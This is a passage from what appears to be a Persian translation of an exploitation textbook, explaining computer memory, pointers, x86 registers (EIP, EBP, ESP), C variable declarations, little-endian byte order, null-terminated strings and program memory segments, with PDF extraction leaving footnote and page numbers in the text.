ﻣﺮﺑﻮط ﺑﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﮐﺎﻣﭙﯿﻮﺗﺮی را ﻧﻘﺾ ﻧﻤﯽ ﮐﻨﺪ؛ ﺑﻠﮑﻪ اﯾﻦ ﻋﻤﻞ ﻧﺸﺎن از ﺷﻨﺎﺧﺖ دﻗﯿﻖ ﺗﺮ و ﺑﯿﺸﺘﺮ ﻗـﻮاﻧﯿﻦ و اﺳـﺘﻔﺎده
از آﻧﻬﺎ ﺑﻪ ﻃﺮق ﭘﯿﺶ ﺑﯿﻨﯽ ﻧﺸﺪه دارد .ﺑﮑﺎر ﺑﺴﺘﻦ اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ و روش ﻫﺎی اﮐﺴﭙﻠﻮﯾﺖ و ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫـﺎﯾﯽ ﺟﻬـﺖ
ﭘﯿﺶ ﮔﯿﺮی از اﯾﻦ ﻧﻮع اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ ،ﻣﺴﺘﻠﺰم درﮐﯽ ﻋﻤﯿﻖ ﺗﺮ از ﻗﻮاﻧﯿﻦ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﺳﻄﺢ ﭘﺎﺋﯿﻦ ،ﻣﺜﻞ ﺣﺎﻓﻈﻪ ﺑﺮﻧﺎﻣـﻪ
اﺳﺖ.
.2,5ﺣﺎﻓﻈﻪ
در وﻫﻠﻪ اول ﻣﻤﮑﻦ اﺳﺖ ﺣﺎﻓﻈﻪ ﮐﻤﯽ ﻫﻮﻟﻨﺎک ﺑﻪ ﻧﻈﺮ آﯾﺪ ،اﻣﺎ ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ﮐـﺎﻣﭙﯿﻮﺗﺮ ،ﺟـﺎدوﮔﺮی ﻧﯿـﺴﺖ و
در ﻫﺴﺘﻪ ﮐﺎر ،واﻗﻌﺎ ﻣﺜﻞ ﯾﮏ ﻣﺎﺷﯿﻦ ﺣﺴﺎب ﻋﻈﯿﻢ اﺳﺖ .ﺣﺎﻓﻈﻪ ﺑﺎﯾﺖ ﻫـﺎﯾﯽ اﺳـﺖ از ﻓـﻀﺎی ذﺧﯿـﺮه ای ﻣـﻮﻗﺘﯽ ﮐـﻪ ﺑـﺎ
آدرس ﻫﺎ ﺷﻤﺎره ﮔﺬاری ﺷﺪه اﻧﺪ .ﺑﻪ اﯾﻦ ﺣﺎﻓﻈﻪ ﻣﯽ ﺗﻮان ﺑﺎ آدرس ﻫﺎﯾﺶ دﺳﺘﺮﺳﯽ ﭘﯿﺪا ﮐﺮد و ﻣـﯽ ﺗـﻮان اﻃﻼﻋـﺎﺗﯽ از
ﺑﺎﯾﺖ ﻣﻮﺟﻮد در ﻫﺮ آدرس ﺧﺎص را ﺧﻮاﻧﺪ ﯾﺎ در آن ﻧﻮﺷﺖ .ﭘﺮدازﻧﺪه ﻫﺎی ﻓﻌﻠﯽ x86اﯾﻨﺘﻞ از ﯾﮏ ﻃﺮح آدرس دﻫـﯽ
32ﺑﯿﺘﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ،ﯾﻌﻨﯽ ﺗﻌﺪاد 232ﯾﺎ 4,294,967,296آدرس ﻣﻤﮑﻦ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑـﻮد .ﻣﺘﻐﯿـﺮﻫـﺎی ﯾـﮏ
ﺑﺮﻧﺎﻣﻪ ﺗﻨﻬﺎ ﻣﮑﺎﻧﻬﺎی ﻣﺸﺨﺼﯽ در ﺣﺎﻓﻈﻪ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻪ ﻣﻨﻈﻮر ذﺧﯿﺮه اﻃﻼﻋﺎت اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ.
اﺷﺎرﮔﺮﻫﺎ ) ،(pointerﻧﻮﻋﯽ ﻣﺘﻐﯿﺮ ﺧﺎص ﻫﺴﺘﻨﺪ ﮐﻪ ﺟﻬﺖ ذﺧﯿﺮه آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ﻣﮑﺎن ﻫﺎی ﻣﺨﺘﻠﻒ ﺑـﺮای ارﺟـﺎع
دﯾﮕﺮ اﻃﻼﻋﺎت ﺑﮑﺎر ﻣﯽ روﻧﺪ .ﭼﻮن در ﻋﻤﻞ ﺣﺎﻓﻈﻪ را ﻧﻤﯽ ﺗﻮان ﺣﺮﮐﺖ داد )ﻣﻨﺘﻘﻞ ﮐﺮد( ،ﻟﺬا اﻃﻼﻋـﺎت درون آن ﺑﺎﯾـﺪ
ﺑﻪ ﻣﮑﺎن دﻟﺨﻮاه ﮐﭙﯽ ﺷﻮﻧﺪ .اﻣﺎ ﮐﭙﯽ ﮐﺮدن ﻗﻄﻌﺎت ﺑﺰرگ ﺣﺎﻓﻈﻪ ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﺑﺘﻮاﻧﻨﺪ ﺗﻮﺳﻂ ﺗﻮاﺑﻊ ﻣﺨﺘﻠـﻒ ﯾـﺎ در ﻣﮑﺎﻧﻬـﺎی
ﻣﺨﺘﻠﻒ اﺳﺘﻔﺎده ﺷﻮﻧﺪ ،ﺑﺴﯿﺎر ﭘﺮ ﻫﺰﯾﻨﻪ و ﭘﺮ ﻣﺤﺎﺳﺒﻪ ﺧﻮاﻫﺪ ﺑﻮد .از ﻧﻘﻄﻪ ﻧﻈﺮ ﺣﺎﻓﻈﻪ ﻧﯿﺰ اﯾﻦ ﻋﻤﻞ ﭘﺮ ﻫﺰﯾﻨﻪ اﺳﺖ ،ﭼﻮن
ﺑﺮای ﮐﭙﯽ ﺷﺪن ﺑﻠﻮک ﺣﺎﻓﻈﻪ ای ﻣﻨﺒﻊ ،ﺑﺎﯾﺪ ﯾﮏ ﺑﻠـﻮک ﺣﺎﻓﻈـﻪ ای ﺟﺪﯾـﺪ در ﺣﺎﻓﻈـﻪ ﺗﺨـﺼﯿﺺ ﯾﺎﺑـﺪ .اﺷـﺎرﮔﺮ راه ﺣـﻞ
ﻣﻨﺎﺳﺒﯽ ﺑﺮای اﯾﻦ ﻣﺸﮑﻞ ﻫﺴﺘﻨﺪ .ﺑﻪ ﺟﺎی ﮐﭙﯽ ﮐﺮدن ﻗﻄﻌﺎت ﺑﺰرگ در ﮔﻮﺷﻪ و ﮐﻨﺎر ﺣﺎﻓﻈﻪ ﻣﯽ ﺗﻮان آدرس آن ﺑﻠـﻮک
ﺣﺎﻓﻈﻪ ﺑﺰرگ را ﺑﻪ ﯾﮏ اﺷﺎرﮔﺮ ﻧﺴﺒﺖ داد .ﺳﭙﺲ ،اﯾﻦ اﺷﺎرﮔﺮ ﮐﻮﭼﮏ 4ﺑﺎﯾﺘﯽ را ﻣﯽ ﺗﻮان ﺑﻪ ﺗﻮاﺑﻊ ﻣﺨﺘﻠﻔﯽ ﮐﻪ ﻧﯿﺎز ﺑـﻪ
دﺳﺘﺮﺳﯽ ﺑﻪ آن ﺑﻠﻮک ﺣﺎﻓﻈﻪ ﺑﺰرگ دارﻧﺪ ﻣﻨﺘﻘﻞ ﮐﺮد.
ﭘﺮدازﻧﺪه ﺣﺎﻓﻈﻪ ﻣﺨﺼﻮص ﺑﻪ ﺧﻮد دارد ﮐﻪ ﻧﺴﺒﺘﺎ ﮐﻮﭼﮏ اﺳﺖ .از اﯾﻦ ﺑﺨﺶ ﻫﺎی ﺣﺎﻓﻈﻪ ای ﺑـﺎ ﻧـﺎم َﺛﺒـﺎت )(register
ﯾﺎد ﻣﯽ ﺷﻮد .ﭼﻨﺪﯾﻦ ﺛﺒﺎت وﯾﮋه وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﺮای ﺛﺒﺖ ﺟﺮﯾﺎﻧﺎﺗﯽ ﮐﻪ در ﺧﻼل اﺟﺮای ﺑﺮﻧﺎﻣﻪ رخ ﻣﯽ دﻫﻨﺪ ﺑﮑـﺎر ﻣـﯽ
روﻧﺪ .ﯾﮑﯽ از ﺑﺮﺟﺴﺘﻪ ﺗﺮﯾﻦ آﻧﻬﺎ 19EIP ،اﺳﺖ .ﺛﺒﺎت ،EIPاﺷﺎرﮔﺮی اﺳﺖ ﮐﻪ آدرس دﺳﺘﻮر در ﺣﺎل اﺟﺮای ﻓﻌﻠـﯽ را
19
Extended Instruction Pointer
18
21
ﻧﮕﻬﺪاری ﻣﯽ ﮐﻨﺪ .دﯾﮕﺮ ﺛﺒﺎت ﻫﺎی 32ﺑﯿﺘﯽ ﮐﻪ ﺑﻪ ﻋﻨﻮان اﺷﺎرﮔﺮ ﻣﻮرد اﺳـﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿﺮﻧـﺪ 20EBP ،و ESP
ﻫﺴﺘﻨﺪ .ﺗﻤﺎم اﯾﻦ ﺳﻪ ﺛﺒﺎت در اﺟﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺣﯿﺎﺗﯽ و ﻣﻬﻢ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻌﺪا ﺑﺎ ﻋﻤﻖ ﺑﯿﺸﺘﺮی ﻣﻮرد ﺑﺮرﺳـﯽ ﻗـﺮار ﻣـﯽ
ﮔﯿﺮﻧﺪ.
.2,5,1اﻋﻼن ﺣﺎﻓﻈﻪ
ﻫﻨﮕﺎم ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ در ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻣﺜﻞ ،Cﻣﺘﻐﯿﺮﻫﺎ ﺑﻮﺳﯿﻠﻪ ﯾﮏ ﻧﻮع داده ای ) (data typeاﻋـﻼن ﻣـﯽ ﺷـﻮﻧﺪ.
اﯾﻦ اﻧﻮاع داده ای ﻣﯽ ﺗﻮاﻧﻨﺪ ﻋﺪد ﺻﺤﯿﺢ ،ﮐﺎراﮐﺘﺮ ،ﺳﺎﺧﺘﻤﺎن ﺳﻔﺎرﺷﯽ اﻋﻼن ﺷﺪه ﺗﻮﺳﻂ ﮐﺎرﺑﺮ 22و ﻣـﻮاردی ﭼﻨـﺪ را در
ﺑﺮ ﮔﯿﺮﻧﺪ .ﻣﻬﻢ ﺑﻮدن ﻧﻮع داده از ﺟﻬﺖ ﺗﺨﺼﯿﺺ ﺻﺤﯿﺢ ﻓﻀﺎ ﺑﺮای ﻫﺮ ﻣﺘﻐﯿﺮ اﺳﺖ .ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ ﺑﻪ 4ﺑﺎﯾﺖ ﻓﻀﺎ ﻧﯿﺎز
دارد ،در ﺣﺎﻟﯿﮑﻪ ﯾﮏ ﮐﺎراﮐﺘﺮ ﻓﻘﻂ ﺑﻪ 1ﺑﺎﯾﺖ ﻓﻀﺎ اﺣﺘﯿﺎج دارد .ﺑﻪ اﯾﻦ ﺻﻮرت ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ دارای 32ﺑﯿﺖ ﻓـﻀﺎ )ﺑـﺎ
4,294,967,296ﻣﻘﺪار ﻣﻤﮑﻦ( اﺳﺖ ،درﺣﺎﻟﯿﮑﻪ ﯾﮏ ﮐﺎراﮐﺘﺮ ﻓﻘﻂ دارای 8ﺑﯿﺖ ﻓﻀﺎ )ﺑﺎ 256ﻣﻘـﺪار ﻣﻤﮑـﻦ( ﺧﻮاﻫـﺪ
ﺑﻮد.
ﺑﻌﻼوه ﻣﺘﻐﯿﺮﻫﺎ ﻣﯽ ﺗﻮاﻧﻨﺪ درآراﯾﻪ ﻫﺎ ﻧﯿﺰ اﻋﻼن ﺷﻮﻧﺪ .ﯾـﮏ آراﯾـﻪ ) ،(arrayﺗﻨﻬـﺎ ﻟﯿـﺴﺘﯽ از Nﻋﻨـﺼﺮ ﺑـﺎ ﻧـﻮع داده ای
ﺧﺎص )و ﯾﮑﺴﺎن( اﺳﺖ .ﻟﺬا ﯾﮏ آراﯾﻪ 10ﮐﺎراﮐﺘﺮی ،ﺗﻨﻬﺎ 10ﮐﺎراﮐﺘﺮ ﻣﺠﺎور ﺑﻪ ﻫﻢ و ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘـﻪ ﺑـﺮ روی ﺣﺎﻓﻈـﻪ
اﺳﺖ .آراﯾﻪ را ﺑﺎﻓﺮ ) (bufferو آراﯾﻪ ﮐﺎراﮐﺘﺮی را رﺷﺘﻪ ) (stringﻧﯿﺰ ﻣﯽ ﻧﺎﻣﻨﺪ .ﭼـﻮن ﮐﭙـﯽ ﮐـﺮدن ﺑﺎﻓﺮﻫـﺎ ﺑـﺰرگ از
ﻟﺤﺎظ ﻣﺤﺎﺳﺒﺎﺗﯽ ﭘﺮ ﻫﺰﯾﻨﻪ اﺳﺖ ،ﻟﺬا از اﺷـﺎرﮔﺮﻫﺎ ﻣﻌﻤـﻮﻻ ﺟﻬـﺖ ذﺧﯿـﺮه آدرس اﺑﺘـﺪای آن ﺑـﺎﻓﺮ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد.
اﺷﺎرﮔﺮﻫﺎ ﺑﺎ وﺟﻮد ﯾﮏ ﺳﺘﺎره )*( 23در ﻗﺒﻞ از ﻧﺎم ﻣﺘﻐﯿﺮ اﻋﻼن ﻣﯽ ﺷﻮﻧﺪ .در زﯾﺮ ﭼﻨﺪ ﻣﺜﺎل از ﻧﺤﻮه اﻋـﻼن ﻣﺘﻐﯿﺮﻫـﺎ در
زﺑﺎن Cرا ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ:
;int integer_variable
;char character_variable
;]char character_array[10
;char *buffer_pointer
ﯾﮏ ﺟﺰ ﻣﻬﻢ ﺣﺎﻓﻈﻪ در ﭘﺮدازﻧﺪه ﻫﺎی ،x86ﺗﺮﺗﯿﺐ ﺑﺎﯾﺘﯽ ) (byte orderدر ﮐﻠﻤﺎت 4ﺑﺎﯾﺘﯽ اﺳﺖ .اﯾـﻦ ﺗﺮﺗﯿـﺐ ﺗﺤـﺖ
ﻧﺎم Little Endianﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ اﺑﺘﺪا ﻇﺎﻫﺮ ﻣﯽ ﺷﻮد )ﺑـﺮ ﺧـﻼف ﺟﺒـﺮ ﻣﻌﻤـﻮﻟﯽ( .ﯾﻌﻨـﯽ
ﺑﺮای ﮐﻠﻤﺎت 4ﺑﺎﯾﺘﯽ )ﻣﺜﻞ اﺷﺎرﮔﺮﻫﺎ و اﻋﺪاد ﺻﺤﯿﺢ( ،ﺑﺎﯾﺖ ﻫﺎ در ﺣﺎﻓﻈﻪ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس ذﺧﯿﺮه ﻣﯽ ﺷـﻮﻧﺪ .ﻣﻘـﺪار
ﻫﮕﺰادﺳﯿﻤﺎل 0x12345678ذﺧﯿﺮه ﺷﺪه در ﯾـﮏ ﻣﻌﻤـﺎری ،Little Endianدر ﺣﺎﻓﻈـﻪ ﺑـﻪ ﺻـﻮرت 0x78563412
ﺧﻮاﻫﺪ ﺑﻮد .اﮔﺮﭼﻪ ﮐﺎﻣﭙﺎﯾﻠﺮﻫﺎ ﺑﺮای زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻﯾﯽ ﻣﺜﻞ ،Cﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ را ﺑﻪ ﺻﻮرت ﺧﻮدﮐﺎر اِﻋﻤﺎل ﻣـﯽ ﮐﻨﻨـﺪ.
اﯾﻦ ﻧﮑﺘﻪ ﻣﻬﻢ را ﺑﻪ ﺣﺎﻓﻈﻪ ﺑﺴﭙﺎرﯾﺪ.
ﮔﺎﻫﯽ اوﻗﺎت ﺑﺮای ﯾﮏ آراﯾﻪ ﮐﺎراﮐﺘﺮی 10 ،ﺑﺎﯾﺖ ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ ،اﻣﺎ ﻓﻘﻂ 4ﺑﺎﯾﺖ در ﻋﻤـﻞ ﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار
ﮔﺮﻓﺘﻪ اﺳﺖ .اﮔﺮ ﮐﻠﻤﻪ " "testدر ﯾﮏ آراﯾﻪ ﮐﺎراﮐﺘﺮی 10ﺑـﺎﯾﺘﯽ ذﺧﯿـﺮه ﺷـﻮد ،ﺑﺎﯾﺘﻬـﺎی اﺿـﺎﻓﯽ در اﻧﺘﻬـﺎی آراﯾـﻪ ﺑـﻼ
اﺳﺘﻔﺎده ﻣﯽ ﻣﺎﻧﻨﺪ .ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ) (nullﺑﺮای ﻣﺴﺪود ﮐﺮدن ،ﺧﺎﺗﻤﻪ دادن ﯾﺎ ﺑﺴﺘﻦ رﺷﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .اﯾـﻦ ﺑﺎﯾـﺖ
ﺑﻪ ﻫﺮ ﺗﺎﺑﻌﯽ ﮐﻪ روی آن آراﯾﻪ ﮐﺎر ﮐﻨﺪ ،ﺑﯿﺎن ﻣﯽ دارد ﮐﻪ ﻋﻤﻠﯿﺎت در آﻧﺠﺎ ﺧﺎﺗﻤﻪ ﯾﺎﺑﺪ.
0 1 2 3 4 5 6 7 8 9
t e s t 0 X X X X X
20
Extended Base Pointer
21
Extended Stack Pointer
22
Custom User-Defined Structure
23
Asterisk
19
ﻟﺬا اﮔﺮ ﺗﺎﺑﻌﯽ ﺑﺨﻮاﻫﺪ رﺷﺘﻪ ﻓﻮق را از اﯾﻦ ﺑﺎﻓﺮ ﮐﺎراﮐﺘﺮی ﺑﻪ ﻣﮑﺎن دﯾﮕﺮی ﮐﭙﯽ ﮐﻨﺪ ،ﻋﺒﺎرت " "testرا ﮐﭙﯽ ﮐـﺮده و ﺑـﻪ
ﺑﺎﯾﺖ ﭘﻮچ ﺑﺮﺧﻮرد ﮐﺮده و ﻋﻤﻠﯿﺎت ﮐﭙﯽ را ﻣﺘﻮﻗﻒ ﻣﯽ ﺳﺎزد .ﻟﺬا ﺑﻪ ﺟﺎی ﮐﭙﯽ ﺷﺪن ﮐﻞ ﺑﺎﻓﺮ ،ﺗﻨﻬـﺎ ﻋﺒـﺎرت " "testﮐﭙـﯽ
ﺷﺪ .ﺑﻪ ﻫﻤﯿﻦ ﻃﺮﯾﻖ اﮔﺮ ﺗﺎﺑﻌﯽ ﺑﺨﻮاﻫﺪ ﯾﮏ ﺑﺎﻓﺮ ﮐﺎراﮐﺘﺮی را ﭼﺎپ ﮐﻨﺪ ،ﺑﺠﺎی ﭼﺎپ ﮐﺮدن testﺑﻪ ﻫﻤﺮاه ﭼﻨﺪﯾﻦ ﺑﺎﯾﺖ
ﺗﺼﺎدﻓﯽ ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﺑﻌﺪ از آن وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﻨﺪ ،ﺗﻨﻬﺎ ﻋﺒﺎرت " "testرا ﭼﺎپ ﺧﻮاﻫﺪ ﮐﺮد .ﻣـﺴﺪود ﮐـﺮدن رﺷـﺘﻪ
ﻫﺎ ﺑﺎ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ ﮐﺎراﯾﯽ را اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ و ﺗﻮاﺑﻊ ﻧﻤﺎﯾﺸﯽ )ﮐﻪ ﭼﯿﺰی را روی ﺻﻔﺤﻪ ﭼﺎپ ﻣﯽ ﮐﻨﻨﺪ( ﻃﺒﯿﻌـﯽ ﺗـﺮ و
ﺑﻬﺘﺮ ﻋﻤﻞ ﺧﻮاﻫﻨﺪ ﮐﺮد.
ﺣﺎﻓﻈﻪ ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﭼﻨﺪﯾﻦ ﻗﻄﻌﻪ ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد heap ،bss ،data ،text :و .stackﻫﺮ ﻗﻄﻌﻪ ﻧﻤﺎﯾﺎﻧﮕﺮ ﺑﺨﺶ ﻣﺨـﺼﻮﺻﯽ
از ﺣﺎﻓﻈﻪ اﺳﺖ ﮐﻪ ﺑﺮای ﻫﺪﻓﯽ ﺧﺎص ﮐﻨﺎر ﮔﺬاﺷﺘﻪ ﺷﺪه اﺳﺖ.
-ﻗﻄﻌﻪ textﮐﻪ ﺑﺮﺧﯽ ﻣﻮاﻗﻊ codeﻧﯿﺰ ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد ،ﻣﺤﻠﯽ ﺑﺮای ﺑﺎرﮔﺬاری دﺳﺘﻮرات ﺗﺮﺟﻤﻪ ﺷﺪه ﺑﻪ زﺑـﺎن ﻣﺎﺷـﯿﻦ
اﺳﺖ .اﺟﺮای دﺳﺘﻮرات در اﯾﻦ ﻗﻄﻌﻪ ﺑﻪ ﻋﻠﺖ وﺟﻮد ﺳﺎﺧﺘﺎرﻫﺎ و ﺗﻮاﺑﻊ ﮐﻨﺘﺮﻟﯽ ﺳﻄﺢ ﺑﺎﻻ ﮐﻪ ﻗﺒﻼ ذﮐﺮ ﺷﺪ ﺑﻪ ﺻﻮرت ﻏﯿﺮ
ﺧﻄﯽ ) (non-linearاﻧﺠﺎم ﻣﯽ ﺷﻮد .اﯾﻦ ﺳﺎﺧﺘﺎرﻫﺎ در زﺑـﺎن اﺳـﻤﺒﻠﯽ ﺑـﻪ ﺻـﻮرت دﺳـﺘﻮرات jump ،branchو call
ﺗﺮﺟﻤﻪ ﻣﯽ ﺷﻮﻧﺪ .ﺑﻪ ﻣﺤﺾ اﺟﺮای ﺑﺮﻧﺎﻣﻪ ،ﻣﻘﺪار EIPﺑﺮاﺑﺮ ﺑﺎ اوﻟﯿﻦ دﺳﺘﻮر در ﻗﻄﻌﻪ textﺧﻮاﻫﺪ ﺑﻮد .ﺳﭙﺲ ﭘﺮدازﻧـﺪه
ﯾﮏ ﺣﻠﻘﻪ اﺟﺮاﯾﯽ را ﮐﻪ اﻣﻮر زﯾﺮ را اﻧﺠﺎم ﻣﯽ دﻫﺪ دﻧﺒﺎل ﻣﯽ ﮐﻨﺪ:
ﺧﻮاﻧﺪن دﺳﺘﻮری ﮐﻪ EIPﺑﻪ آن اﺷﺎره دارد •
اﺿﺎﻓﻪ ﮐﺮدن ﻃﻮلِ ﺑﺎﯾﺖِ دﺳﺘﻮر 24ﺑﻪ EIP •
اﺟﺮای دﺳﺘﻮری ﮐﻪ در ﻣﺮﺣﻠﻪ 1ﺧﻮاﻧﺪه ﺷﺪه ﺑﻮد •
ﺑﺎزﮔﺸﺖ ﺑﻪ ﻣﺮﺣﻠﻪ 1 •
ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﺑﻪ دﺳﺘﻮراﺗﯽ ﻣﺜﻞ jumpﯾﺎ callﺑﺮ ﻣﯽ ﺧﻮرﯾﻢ ﮐﻪ EIPرا ﺑﻪ آدرس ﻣﺨﺘﻠﻔﯽ از ﺣﺎﻓﻈـﻪ ﺗﻐﯿﯿـﺮ ﻣـﯽ دﻫﻨـﺪ.
اﯾﻦ ﺗﻐﯿﯿﺮ ﺑﺮای ﭘﺮدازﻧﺪه ﻣﻬﻢ ﻧﯿﺴﺖ ،ﭼﺮا ﮐﻪ اﺟﺮا ﮐﺮدن دﺳﺘﻮرات را در ﻫﻤﻪ ﺣﺎل ﺑﻪ ﺻـﻮرت ﻏﯿـﺮ ﺧﻄـﯽ ﻓـﺮض ﻣـﯽ
ﮐﻨﺪ .ﻟﺬا اﮔﺮ EIPدر ﻣﺮﺣﻠﻪ 3ﺗﻐﯿﯿﺮ ﮐﻨﺪ ،ﭘﺮدازﻧﺪه ﺗﻨﻬﺎ ﺑﻪ ﻣﺮﺣﻠﻪ 1ﺑﺎز ﮔﺸﺘﻪ و دﺳﺘﻮری را ﮐﻪ EIPﺑﻪ آن ﺗﻐﯿﯿﺮ داده
ﺷﺪه اﺳﺖ ﻣﯽ ﺧﻮاﻧﺪ.
ﻣﺠﻮز ﻧﻮﺷﺘﻦ در ﻗﻄﻌﻪ textﻏﯿﺮﻓﻌﺎل اﺳﺖ ،ﭼﻮن اﯾﻦ ﻗﻄﻌﻪ ﺗﻨﻬﺎ ﺑﺮای ذﺧﯿﺮه ﮐﺪ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد ﻧـﻪ ﺑـﺮای ذﺧﯿـﺮه
ﻣﺘﻐﯿﺮﻫﺎ .در ﺣﻘﯿﻘﺖ اﯾﻦ ﮐﺎر اﻓﺮاد را از ﺗﻐﯿﯿﺮ ﮐﺪ ﺑﺮﻧﺎﻣﻪ ﺑﺎز ﻣﯽ دارد و ﻫﺮ ﮔﻮﻧﻪ ﺗﻼش ﺟﻬـﺖ ﻧﻮﺷـﺘﻦ در اﯾـﻦ ﻗﻄﻌـﻪ از
ﺣﺎﻓﻈﻪ ﻣﻨﺠﺮ ﺑﻪ ﻫﺸﺪار ﺑﻪ ﮐﺎرﺑﺮ ﻣﺒﻨﯽ ﺑﺮ رﺧﺪاد ﯾﮏ ﻋﻤﻞ ﻧﺎﻣﻄﻠﻮب ﻣﯽ ﺷﻮد و ﻧﻬﺎﯾﺘﺎ ﺳـﺒﺐ ﺧـﺎرج ﺷـﺪن از ﺑﺮﻧﺎﻣـﻪ ﻣـﯽ
ﺷﻮد .ﻓﺎﯾﺪه دﯾﮕﺮ ﻓﻘﻂ-ﺧﻮاﻧﺪﻧﯽ ﺑﻮدن اﯾﻦ ﻗﻄﻌﻪ اﯾﻦ اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﯿﻦ ﮐﭙﯽ ﻫﺎی ﻣﺨﺘﻠﻔﯽ از ﺑﺮﻧﺎﻣﻪ ﺑﻪ اﺷﺘﺮاک
ﮔﺬاﺷﺖ ﮐﻪ ﺑﺪون رﺧﺪاد ﻫﺮ ﮔﻮﻧﻪ ﻣﺸﮑﻞ ،اﻣﮑﺎن ﭼﻨﺪﯾﻦ اﺟﺮا از ﺑﺮﻧﺎﻣﻪ را در آن واﺣﺪ ﻓﺮاﻫﻢ ﻣﯽ آورد .ذﮐﺮ اﯾﻦ ﻧﮑﺘـﻪ
ﻻزم اﺳﺖ ﮐﻪ اﯾﻦ ﻗﻄﻌﻪ از ﺣﺎﻓﻈﻪ دارای اﻧﺪازه ﺛﺎﺑﺘﯽ اﺳﺖ ،ﭼﻮن ﭼﯿﺰی در آن ﺗﻐﯿﯿﺮ ﻧﺨﻮاﻫﺪ ﮐﺮد.
-ﻗﻄﻌﻪ ﻫﺎی dataو bssﺟﻬﺖ ذﺧﯿﺮه ﺳﺎزی ﻣﺘﻐﯿﺮﻫﺎی ﻋﻤﻮﻣﯽ ) (globalو اﯾﺴﺘﺎ ) (staticاﺳﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ .ﻗﻄﻌـﻪ
dataﺑﺎ ﻣﺘﻐﯿﺮﻫﺎ ،رﺷﺘﻪ ﻫﺎ و دﯾﮕﺮ ﻣﻘﺎدﯾﺮ ﺛﺎﺑﺖ ﮐﻪ اوﻻ ﻋﻤﻮﻣﯽ و دوﻣﺎ دارای ﻣﻘﺪار اوﻟﯿﻪ ) (initializedﻫﺴﺘﻨﺪ ﭘـﺮ ﻣـﯽ
ﺷﻮﻧﺪ ،اﯾﻦ ﻋﻨﺎﺻﺮ در ﺑﺮﻧﺎﻣﻪ ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ .ﻗﻄﻌﻪ bssدﻗﯿﻘﺎ ﺑﺎ ﻋﻨﺎﺻـﺮی ﻫﻤﭽـﻮن ﻋﻨﺎﺻـﺮ dataﭘـﺮ ﻣـﯽ
ﺷﻮﻧﺪ ،ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐﻪ در bssداده ﻫﺎی ﺑﺪون ﻣﻘﺪار اوﻟﯿﻪ ) (uninitializedذﺧﯿﺮه ﻣﯽ ﺷـﻮﻧﺪ .اﮔﺮﭼـﻪ اﯾـﻦ ﻗﻄﻌـﺎت
ﻗﺎﺑﻞ ﻧﻮﺷﺘﻦ ﻫﺴﺘﻨﺪ ،اﻣﺎ اﻧﺪازه آﻧﻬﺎ ﺛﺎﺑﺖ اﺳﺖ.
– Byte-Length 24ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎﯾﯽ را ﮐﻪ ﯾﮏ دﺳﺘﻮر اﺳﻤﺒﻠﯽ در ﺣﺎﻓﻈﻪ اﺷﻐﺎل ﻣﯽ ﮐﻨﺪ ،ﻃﻮل ﺑﺎﯾﺖ آن دﺳﺘﻮر ﻣﯽ ﮔﻮﯾﯿﻢ.
20
-ﻗﻄﻌﻪ heapﺑﺮای اﻧﻮاع ﺑﺎﻗﯿﻤﺎﻧﺪه ﻣﺘﻐﯿﺮﻫﺎ در ﺑﺮﻧﺎﻣﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .ﻧﮑﺘﻪ ﻣﻬـﻢ اﯾـﻦ اﺳـﺖ ﮐـﻪ heapدارای اﻧـﺪازه
